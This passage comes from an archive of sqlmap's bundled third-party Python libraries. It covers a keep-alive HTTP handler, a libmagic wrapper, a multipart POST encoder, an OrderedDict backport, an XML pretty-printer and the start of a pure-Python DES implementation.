'www.cnn.com:8080' as passed in. no error occurs if there is no connection to that host.""" for h in self._cm.get_all(host): self._cm.remove(h) h.close() def close_all(self): """close all open connections""" for host, conns in self._cm.get_all().items(): for h in conns: self._cm.remove(h) h.close() def _request_closed(self, request, host, connection): """tells us that this request is now closed and the the connection is ready for another request""" self._cm.set_ready(connection, 1) def _remove_connection(self, host, connection, close=0): if close: connection.close() self._cm.remove(connection) #### Transaction Execution def do_open(self, req): host = req.host if not host: raise _urllib.error.URLError('no host given') try: h = self._cm.get_ready_conn(host) while h: r = self._reuse_connection(h, req, host) # if this response is non-None, then it worked and we're # done. Break out, skipping the else block. if r: break # connection is bad - possibly closed by server # discard it and ask for the next free connection h.close() self._cm.remove(h) h = self._cm.get_ready_conn(host) else: # no (working) free connections were found. Create a new one. h = self._get_connection(host) if DEBUG: DEBUG.info("creating new connection to %s (%d)", host, id(h)) self._cm.add(host, h, 0) self._start_transaction(h, req) r = h.getresponse() except (socket.error, _http_client.HTTPException) as err: raise _urllib.error.URLError(err) if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) # if not a persistent connection, don't try to reuse it if r.will_close: if DEBUG: DEBUG.info('server will close connection, discarding') self._cm.remove(h) r._handler = self r._host = host r._url = req.get_full_url() r._connection = h r.code = r.status r.headers = r.msg r.msg = r.reason if r.status == 200 or not HANDLE_ERRORS: return r else: return self.parent.error('http', req, r, r.status, r.msg, r.headers) def _reuse_connection(self, h, req, host): """start the transaction with a re-used connection return a response object (r) upon success or None on failure. This DOES not close or remove bad connections in cases where it returns. However, if an unexpected exception occurs, it will close and remove the connection before re-raising. """ try: self._start_transaction(h, req) r = h.getresponse() # note: just because we got something back doesn't mean it # worked. We'll check the version below, too. except (socket.error, _http_client.HTTPException): r = None except: # adding this block just in case we've missed # something we will still raise the exception, but # lets try and close the connection and remove it # first. We previously got into a nasty loop # where an exception was uncaught, and so the # connection stayed open. On the next try, the # same exception was raised, etc. The tradeoff is # that it's now possible this call will raise # a DIFFERENT exception if DEBUG: DEBUG.error("unexpected exception - closing " + \ "connection to %s (%d)", host, id(h)) self._cm.remove(h) h.close() raise if r is None or r.version == 9: # httplib falls back to assuming HTTP 0.9 if it gets a # bad header back. This is most likely to happen if # the socket has been closed by the server since we # last used the connection. if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)", host, id(h)) r = None else: if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h)) return r def _start_transaction(self, h, req): try: if req.data: data = req.data if hasattr(req, 'selector'): h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) if 'Content-type' not in req.headers: h.putheader('Content-type', 'application/x-www-form-urlencoded') if 'Content-length' not in req.headers: h.putheader('Content-length', '%d' % len(data)) else: if hasattr(req, 'selector'): h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) except (socket.error, _http_client.HTTPException) as err: raise _urllib.error.URLError(err) if 'Connection' not in req.headers: req.headers['Connection'] = 'keep-alive' for args in self.parent.addheaders: if args[0] not in req.headers: h.putheader(*args) for k, v in req.headers.items(): h.putheader(k, v) h.endheaders() if req.data: h.send(data) def _get_connection(self, host): return NotImplementedError class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): def __init__(self): KeepAliveHandler.__init__(self) def http_open(self, req): return self.do_open(req) def _get_connection(self, host): return HTTPConnection(host) class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): def __init__(self, ssl_factory=None): KeepAliveHandler.__init__(self) if not ssl_factory: try: import sslfactory ssl_factory = sslfactory.get_factory() except ImportError: pass self._ssl_factory = ssl_factory def https_open(self, req): return self.do_open(req) def _get_connection(self, host): try: return self._ssl_factory.get_https_connection(host) except AttributeError: return HTTPSConnection(host) class HTTPResponse(_http_client.HTTPResponse): # we need to subclass HTTPResponse in order to # 1) add readline() and readlines() methods # 2) add close_connection() methods # 3) add info() and geturl() methods # in order to add readline(), read must be modified to deal with a # buffer. example: readline must read a buffer and then spit back # one line at a time. The only real alternative is to read one # BYTE at a time (ick). Once something has been read, it can't be # put back (ok, maybe it can, but that's even uglier than this), # so if you THEN do a normal read, you must first take stuff from # the buffer. # the read method wraps the original to accomodate buffering, # although read() never adds to the buffer. # Both readline and readlines have been stolen with almost no # modification from socket.py def __init__(self, sock, debuglevel=0, strict=0, method=None): if method: # the httplib in python 2.3 uses the method arg _http_client.HTTPResponse.__init__(self, sock, debuglevel, method) else: # 2.2 doesn't _http_client.HTTPResponse.__init__(self, sock, debuglevel) self.fileno = sock.fileno self.code = None self._method = method self._rbuf = b"" self._rbufsize = 8096 self._handler = None # inserted by the handler later self._host = None # (same) self._url = None # (same) self._connection = None # (same) _raw_read = _http_client.HTTPResponse.read def close(self): if self.fp: self.fp.close() self.fp = None if self._handler: self._handler._request_closed(self, self._host, self._connection) # Note: Patch for Python3 (otherwise, connections won't be reusable) def _close_conn(self): self.close() def close_connection(self): self._handler._remove_connection(self._host, self._connection, close=1) self.close() def info(self): return self.headers def geturl(self): return self._url def read(self, amt=None): # the _rbuf test is only in this first if for speed. It's not # logically necessary if self._rbuf and not amt is None: L = len(self._rbuf) if amt > L: amt -= L else: s = self._rbuf[:amt] self._rbuf = self._rbuf[amt:] return s s = self._rbuf + self._raw_read(amt) self._rbuf = b"" return s def readline(self, limit=-1): data = b"" i = self._rbuf.find('\n') while i < 0 and not (0 < limit <= len(self._rbuf)): new = self._raw_read(self._rbufsize) if not new: break i = new.find('\n') if i >= 0: i = i + len(self._rbuf) self._rbuf = self._rbuf + new if i < 0: i = len(self._rbuf) else: i = i+1 if 0 <= limit < len(self._rbuf): i = limit data, self._rbuf = self._rbuf[:i], self._rbuf[i:] return data def readlines(self, sizehint = 0): total = 0 list = [] while 1: line = self.readline() if not line: break list.append(line) total += len(line) if sizehint and total >= sizehint: break return list class HTTPConnection(_http_client.HTTPConnection): # use the modified response class response_class = HTTPResponse class HTTPSConnection(_http_client.HTTPSConnection): response_class = HTTPResponse ######################################################################### ##### TEST FUNCTIONS ######################################################################### def error_handler(url): global HANDLE_ERRORS orig = HANDLE_ERRORS keepalive_handler = HTTPHandler() opener = _urllib.request.build_opener(keepalive_handler) _urllib.request.install_opener(opener) pos = {0: 'off', 1: 'on'} for i in (0, 1): print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) HANDLE_ERRORS = i try: fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() try: status, reason = fo.status, fo.reason except AttributeError: status, reason = None, None except IOError as e: print(" EXCEPTION: %s" % e) raise else: print(" status = %s, reason = %s" % (status, reason)) HANDLE_ERRORS = orig hosts = keepalive_handler.open_connections() print("open connections:", hosts) keepalive_handler.close_all() def continuity(url): from hashlib import md5 format = '%25s: %s' # first fetch the file with the normal http handler opener = _urllib.request.build_opener() _urllib.request.install_opener(opener) fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() m = md5(foo) print(format % ('normal urllib', m.hexdigest())) # now install the keepalive handler and try again opener = _urllib.request.build_opener(HTTPHandler()) _urllib.request.install_opener(opener) fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() m = md5(foo) print(format % ('keepalive read', m.hexdigest())) fo = _urllib.request.urlopen(url) foo = '' while 1: f = fo.readline() if f: foo = foo + f else: break fo.close() m = md5(foo) print(format % ('keepalive readline', m.hexdigest())) def comp(N, url): print(' making %i connections to:\n %s' % (N, url)) sys.stdout.write(' first using the normal urllib handlers') # first use normal opener opener = _urllib.request.build_opener() _urllib.request.install_opener(opener) t1 = fetch(N, url) print(' TIME: %.3f s' % t1) sys.stdout.write(' now using the keepalive handler ') # now install the keepalive handler and try again opener = _urllib.request.build_opener(HTTPHandler()) _urllib.request.install_opener(opener) t2 = fetch(N, url) print(' TIME: %.3f s' % t2) print(' improvement factor: %.2f' % (t1/t2, )) def fetch(N, url, delay=0): import time lens = [] starttime = time.time() for i in _range(N): if delay and i > 0: time.sleep(delay) fo = _urllib.request.urlopen(url) foo = fo.read() fo.close() lens.append(len(foo)) diff = time.time() - starttime j = 0 for i in lens[1:]: j = j + 1 if not i == lens[0]: print("WARNING: inconsistent length on read %i: %i" % (j, i)) return diff def test_timeout(url): global DEBUG dbbackup = DEBUG class FakeLogger: def debug(self, msg, *args): print(msg % args) info = warning = error = debug DEBUG = FakeLogger() print(" fetching the file to establish a connection") fo = _urllib.request.urlopen(url) data1 = fo.read() fo.close() i = 20 print(" waiting %i seconds for the server to close the connection" % i) while i > 0: sys.stdout.write('\r %2i' % i) sys.stdout.flush() time.sleep(1) i -= 1 sys.stderr.write('\r') print(" fetching the file a second time") fo = _urllib.request.urlopen(url) data2 = fo.read() fo.close() if data1 == data2: print(' data are identical') else: print(' ERROR: DATA DIFFER') DEBUG = dbbackup def test(url, N=10): print("checking error hander (do this on a non-200)") try: error_handler(url) except IOError as e: print("exiting - exception will prevent further tests") sys.exit() print() print("performing continuity test (making sure stuff isn't corrupted)") continuity(url) print() print("performing speed comparison") comp(N, url) print() print("performing dropped-connection check") test_timeout(url) if __name__ == '__main__': import time import sys try: N = int(sys.argv[1]) url = sys.argv[2] except: print("%s " % sys.argv[0]) else: test(url, N) sqlmap-1.9.6/thirdparty/magic/000077500000000000000000000000001502261744200163015ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/magic/__init__.py000066400000000000000000000000001502261744200204000ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/magic/magic.py000066400000000000000000000151031502261744200177330ustar00rootroot00000000000000""" magic is a wrapper around the libmagic file identification library. Usage: >>> import magic >>> magic.from_file("testdata/test.pdf") 'PDF document, version 1.2' >>> magic.from_file("testdata/test.pdf", mime=True) 'application/pdf' >>> magic.from_buffer(open("testdata/test.pdf").read(1024)) 'PDF document, version 1.2' >>> """ import sys import os.path class MagicException(Exception): pass class Magic: """ Magic is a wrapper around the libmagic C library. """ def __init__(self, mime=False, magic_file=None, mime_encoding=False): """ Create a new libmagic wrapper. mime - if True, mimetypes are returned instead of textual descriptions mime_encoding - if True, codec is returned magic_file - use a mime database other than the system default """ flags = MAGIC_NONE if mime: flags |= MAGIC_MIME elif mime_encoding: flags |= MAGIC_MIME_ENCODING self.cookie = magic_open(flags) magic_load(self.cookie, magic_file) def from_buffer(self, buf): """ Identify the contents of `buf` """ return magic_buffer(self.cookie, buf) def from_file(self, filename): """ Identify the contents of file `filename` raises IOError if the file does not exist """ if not os.path.exists(filename): raise IOError("File does not exist: " + filename) return magic_file(self.cookie, filename) def __del__(self): # during shutdown magic_close may have been cleared already if self.cookie and magic_close: magic_close(self.cookie) self.cookie = None _magic_mime = None _magic = None def _get_magic_mime(): global _magic_mime if not _magic_mime: _magic_mime = Magic(mime=True) return _magic_mime def _get_magic(): global _magic if not _magic: _magic = Magic() return _magic def _get_magic_type(mime): if mime: return _get_magic_mime() else: return _get_magic() def from_file(filename, mime=False): m = _get_magic_type(mime) return m.from_file(filename) def from_buffer(buffer, mime=False): m = _get_magic_type(mime) return m.from_buffer(buffer) try: libmagic = None import ctypes import ctypes.util from ctypes import c_char_p, c_int, c_size_t, c_void_p # Let's try to find magic or magic1 dll = ctypes.util.find_library('magic') or ctypes.util.find_library('magic1') # This is necessary because find_library returns None if it doesn't find the library if dll: try: libmagic = ctypes.CDLL(dll) except WindowsError: pass if not libmagic or not libmagic._name: platform_to_lib = {'darwin': ['/opt/local/lib/libmagic.dylib', '/usr/local/lib/libmagic.dylib', '/usr/local/Cellar/libmagic/5.10/lib/libmagic.dylib'], 'win32': ['magic1.dll']} for dll in platform_to_lib.get(sys.platform, []): try: libmagic = ctypes.CDLL(dll) except OSError: pass if not libmagic or not libmagic._name: # It is better to raise an ImportError since we are importing magic module raise ImportError('failed to find libmagic. Check your installation') magic_t = ctypes.c_void_p def errorcheck(result, func, args): err = magic_error(args[0]) if err is not None: raise MagicException(err) else: return result def coerce_filename(filename): if filename is None: return None return filename.encode(sys.getfilesystemencoding()) magic_open = libmagic.magic_open magic_open.restype = magic_t magic_open.argtypes = [c_int] magic_close = libmagic.magic_close magic_close.restype = None magic_close.argtypes = [magic_t] magic_error = libmagic.magic_error magic_error.restype = c_char_p magic_error.argtypes = [magic_t] magic_errno = libmagic.magic_errno magic_errno.restype = c_int magic_errno.argtypes = [magic_t] _magic_file = libmagic.magic_file _magic_file.restype = c_char_p _magic_file.argtypes = [magic_t, c_char_p] _magic_file.errcheck = errorcheck def magic_file(cookie, filename): return _magic_file(cookie, coerce_filename(filename)) _magic_buffer = libmagic.magic_buffer _magic_buffer.restype = c_char_p _magic_buffer.argtypes = [magic_t, c_void_p, c_size_t] _magic_buffer.errcheck = errorcheck def magic_buffer(cookie, buf): return _magic_buffer(cookie, buf, len(buf)) _magic_load = libmagic.magic_load _magic_load.restype = c_int _magic_load.argtypes = [magic_t, c_char_p] _magic_load.errcheck = errorcheck def magic_load(cookie, filename): return _magic_load(cookie, coerce_filename(filename)) magic_setflags = libmagic.magic_setflags magic_setflags.restype = c_int magic_setflags.argtypes = [magic_t, c_int] magic_check = libmagic.magic_check magic_check.restype = c_int magic_check.argtypes = [magic_t, c_char_p] magic_compile = libmagic.magic_compile magic_compile.restype = c_int magic_compile.argtypes = [magic_t, c_char_p] except (ImportError, OSError): from_file = from_buffer = lambda *args, **kwargs: MAGIC_UNKNOWN_FILETYPE MAGIC_NONE = 0x000000 # No flags MAGIC_DEBUG = 0x000001 # Turn on debugging MAGIC_SYMLINK = 0x000002 # Follow symlinks MAGIC_COMPRESS = 0x000004 # Check inside compressed files MAGIC_DEVICES = 0x000008 # Look at the contents of devices MAGIC_MIME = 0x000010 # Return a mime string MAGIC_MIME_ENCODING = 0x000400 # Return the MIME encoding MAGIC_CONTINUE = 0x000020 # Return all matches MAGIC_CHECK = 0x000040 # Print warnings to stderr MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit MAGIC_RAW = 0x000100 # Don't translate unprintable chars MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens MAGIC_UNKNOWN_FILETYPE = b"unknown" sqlmap-1.9.6/thirdparty/multipart/000077500000000000000000000000001502261744200172425ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/multipart/__init__.py000066400000000000000000000000001502261744200213410ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/multipart/multipartpost.py000066400000000000000000000106441502261744200225500ustar00rootroot00000000000000#!/usr/bin/env python """ 02/2006 Will Holcomb Reference: http://odin.himinbi.org/MultipartPostHandler.py This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import io import mimetypes import os import re import stat import sys from lib.core.compat import choose_boundary from lib.core.convert import getBytes from lib.core.exception import SqlmapDataException from thirdparty.six.moves import urllib as _urllib # Controls how sequences are uncoded. If true, elements may be given # multiple values by assigning a sequence. doseq = True class MultipartPostHandler(_urllib.request.BaseHandler): handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first def http_request(self, request): data = request.data if isinstance(data, dict): v_files = [] v_vars = [] try: for(key, value) in data.items(): if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): v_files.append((key, value)) else: v_vars.append((key, value)) except TypeError: systype, value, traceback = sys.exc_info() raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) if len(v_files) == 0: data = _urllib.parse.urlencode(v_vars, doseq) else: boundary, data = self.multipart_encode(v_vars, v_files) contenttype = "multipart/form-data; boundary=%s" % boundary #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0): # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") request.add_unredirected_header("Content-Type", contenttype) request.data = data # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 if request.data: for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): part = match.group(0) if b'\r' not in part: request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) return request def multipart_encode(self, vars, files, boundary=None, buf=None): if boundary is None: boundary = choose_boundary() if buf is None: buf = b"" for (key, value) in vars: if key is not None and value is not None: buf += b"--%s\r\n" % getBytes(boundary) buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" for (key, fd) in files: file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] try: contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" except: # Reference: http://bugs.python.org/issue9291 contenttype = b"application/octet-stream" buf += b"--%s\r\n" % getBytes(boundary) buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) buf += b"Content-Type: %s\r\n" % getBytes(contenttype) # buf += b"Content-Length: %s\r\n" % file_size fd.seek(0) buf += b"\r\n%s\r\n" % fd.read() buf += b"--%s--\r\n\r\n" % getBytes(boundary) buf = getBytes(buf) return boundary, buf https_request = http_request sqlmap-1.9.6/thirdparty/odict/000077500000000000000000000000001502261744200163235ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/odict/__init__.py000066400000000000000000000002341502261744200204330ustar00rootroot00000000000000#!/usr/bin/env python import sys if sys.version_info[:2] >= (2, 7): from collections import OrderedDict else: from ordereddict import OrderedDict sqlmap-1.9.6/thirdparty/odict/ordereddict.py000066400000000000000000000102731502261744200211700ustar00rootroot00000000000000# Copyright (c) 2009 Raymond Hettinger # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. try: from UserDict import DictMixin except ImportError: try: from collections.abc import MutableMapping as DictMixin except ImportError: from collections import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): def __init__(self, *args, **kwds): if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__end except AttributeError: self.clear() self.update(*args, **kwds) def clear(self): self.__end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.__map = {} # key --> [key, prev, next] dict.clear(self) def __setitem__(self, key, value): if key not in self: end = self.__end curr = end[1] curr[2] = end[1] = self.__map[key] = [key, curr, end] dict.__setitem__(self, key, value) def __delitem__(self, key): dict.__delitem__(self, key) key, prev, next = self.__map.pop(key) prev[2] = next next[1] = prev def __iter__(self): end = self.__end curr = end[2] while curr is not end: yield curr[0] curr = curr[2] def __reversed__(self): end = self.__end curr = end[1] while curr is not end: yield curr[0] curr = curr[1] def popitem(self, last=True): if not self: raise KeyError('dictionary is empty') if last: key = next(reversed(self)) else: key = next(iter(self)) value = self.pop(key) return key, value def __reduce__(self): items = [[k, self[k]] for k in self] tmp = self.__map, self.__end del self.__map, self.__end inst_dict = vars(self).copy() self.__map, self.__end = tmp if inst_dict: return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def keys(self): return list(self) setdefault = DictMixin.setdefault update = DictMixin.update pop = DictMixin.pop values = DictMixin.values items = DictMixin.items iterkeys = DictMixin.iterkeys itervalues = DictMixin.itervalues iteritems = DictMixin.iteritems def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self.items())) def copy(self): return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): d = cls() for key in iterable: d[key] = value return d def __eq__(self, other): if isinstance(other, OrderedDict): if len(self) != len(other): return False for p, q in zip(self.items(), other.items()): if p != q: return False return True return dict.__eq__(self, other) def __ne__(self, other): return not self == other sqlmap-1.9.6/thirdparty/prettyprint/000077500000000000000000000000001502261744200176255ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/prettyprint/__init__.py000066400000000000000000000025151502261744200217410ustar00rootroot00000000000000#!/usr/bin/env python #Copyright (c) 2010, Chris Hall #All rights reserved. #Redistribution and use in source and binary forms, with or without modification, #are permitted provided that the following conditions are met: #* Redistributions of source code must retain the above copyright notice, #this list of conditions and the following disclaimer. #* Redistributions in binary form must reproduce the above copyright notice, #this list of conditions and the following disclaimer in the documentation #and/or other materials provided with the distribution. #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND #ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR #ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; #LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND #ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT #(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS #SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pass sqlmap-1.9.6/thirdparty/prettyprint/prettyprint.py000066400000000000000000000101671502261744200226100ustar00rootroot00000000000000#!/usr/bin/env python #Copyright (c) 2010, Chris Hall #All rights reserved. #Redistribution and use in source and binary forms, with or without modification, #are permitted provided that the following conditions are met: #* Redistributions of source code must retain the above copyright notice, #this list of conditions and the following disclaimer. #* Redistributions in binary form must reproduce the above copyright notice, #this list of conditions and the following disclaimer in the documentation #and/or other materials provided with the distribution. #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND #ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR #ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; #LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND #ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT #(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS #SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from xml.dom import minidom from xml.dom import Node def format(text): doc = minidom.parseString(text) root = doc.childNodes[0] return root.toprettyxml(indent=' ') def formatXML(doc, encoding=None): root = doc.childNodes[0] return root.toprettyxml(indent=' ', encoding=encoding) def _patch_minidom(): minidom.Text.writexml = _writexml_text minidom.Element.writexml = _writexml_element minidom.Node.toprettyxml = _toprettyxml_node def _collapse(node): for child in node.childNodes: if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: child.data = '' else: _collapse(child) def _writexml_text(self, writer, indent="", addindent="", newl=""): minidom._write_data(writer, "%s"%(self.data.strip())) def _writexml_element(self, writer, indent="", addindent="", newl=""): # indent = current indentation # addindent = indentation to add to higher levels # newl = newline string writer.write(indent+"<" + self.tagName) attrs = self._get_attributes() a_names = attrs.keys() a_names.sort() for a_name in a_names: writer.write(" %s=\"" % a_name) minidom._write_data(writer, attrs[a_name].value) writer.write("\"") if self.childNodes: if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: writer.write(">") else: writer.write(">%s"%(newl)) for node in self.childNodes: node.writexml(writer,indent+addindent,addindent,newl) if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: writer.write("%s" % (self.tagName,newl)) else: writer.write("%s%s" % (indent,self.tagName,newl)) else: writer.write("/>%s"%(newl)) def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): _collapse(self) # indent = the indentation string to prepend, per level # newl = the newline string to append writer = minidom._get_StringIO() if encoding is not None: import codecs # Can't use codecs.getwriter to preserve 2.0 compatibility writer = codecs.lookup(encoding)[3](writer) if self.nodeType == Node.DOCUMENT_NODE: # Can pass encoding only to document, to put it into XML header self.writexml(writer, "", indent, newl, encoding) else: self.writexml(writer, "", indent, newl) return writer.getvalue() _patch_minidom() sqlmap-1.9.6/thirdparty/pydes/000077500000000000000000000000001502261744200163455ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/pydes/__init__.py000066400000000000000000000013201502261744200204520ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright 2009 Todd Whiteman # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see . # pass sqlmap-1.9.6/thirdparty/pydes/pyDes.py000066400000000000000000000655111502261744200200130ustar00rootroot00000000000000############################################################################# # Documentation # ############################################################################# # Author: Todd Whiteman # Date: 16th March, 2009 # Version: 2.0.1 # License: Public Domain - free to do as you wish # Homepage: http://twhiteman.netfirms.com/des.html # # This is a pure python implementation of the DES encryption algorithm. # It's pure python to avoid portability issues, since most DES # implementations are programmed in C (for performance reasons). # # Triple DES class is also implemented, utilising the DES base. Triple DES # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. # # See the README.txt that should come with this python module for the # implementation methods used. # # Thanks to: # * David Broadwell for ideas, comments and suggestions. # * Mario Wolff for pointing out and debugging some triple des CBC errors. # * Santiago Palladino for providing the PKCS5 padding technique. # * Shaya for correcting the PAD_PKCS5 triple des CBC errors. # """A pure python implementation of the DES and TRIPLE DES encryption algorithms. Class initialization -------------------- pyDes.des(key, [mode], [IV], [pad], [padmode]) pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes for Triple DES mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Length must be 8 bytes. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrpt operations done with this instance. I recommend to use PAD_PKCS5 padding, as then you never need to worry about any padding issues, as the padding can be removed unambiguously upon decrypting data that was encrypted using PAD_PKCS5 padmode. Common methods -------------- encrypt(data, [pad], [padmode]) decrypt(data, [pad], [padmode]) data -> Bytes to be encrypted/decrypted pad -> Optional argument. Only when using padmode of PAD_NORMAL. For encryption, adds this characters to the end of the data block when data is not a multiple of 8 bytes. For decryption, will remove the trailing characters that match this pad character from the last 8 bytes of the unencrypted data block. padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL or PAD_PKCS5). Defaults to PAD_NORMAL. Example ------- from pyDes import * data = "Please encrypt my data" k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) # For Python3, you'll need to use bytes, i.e.: # data = b"Please encrypt my data" # k = des(b"DESCRYPT", CBC, 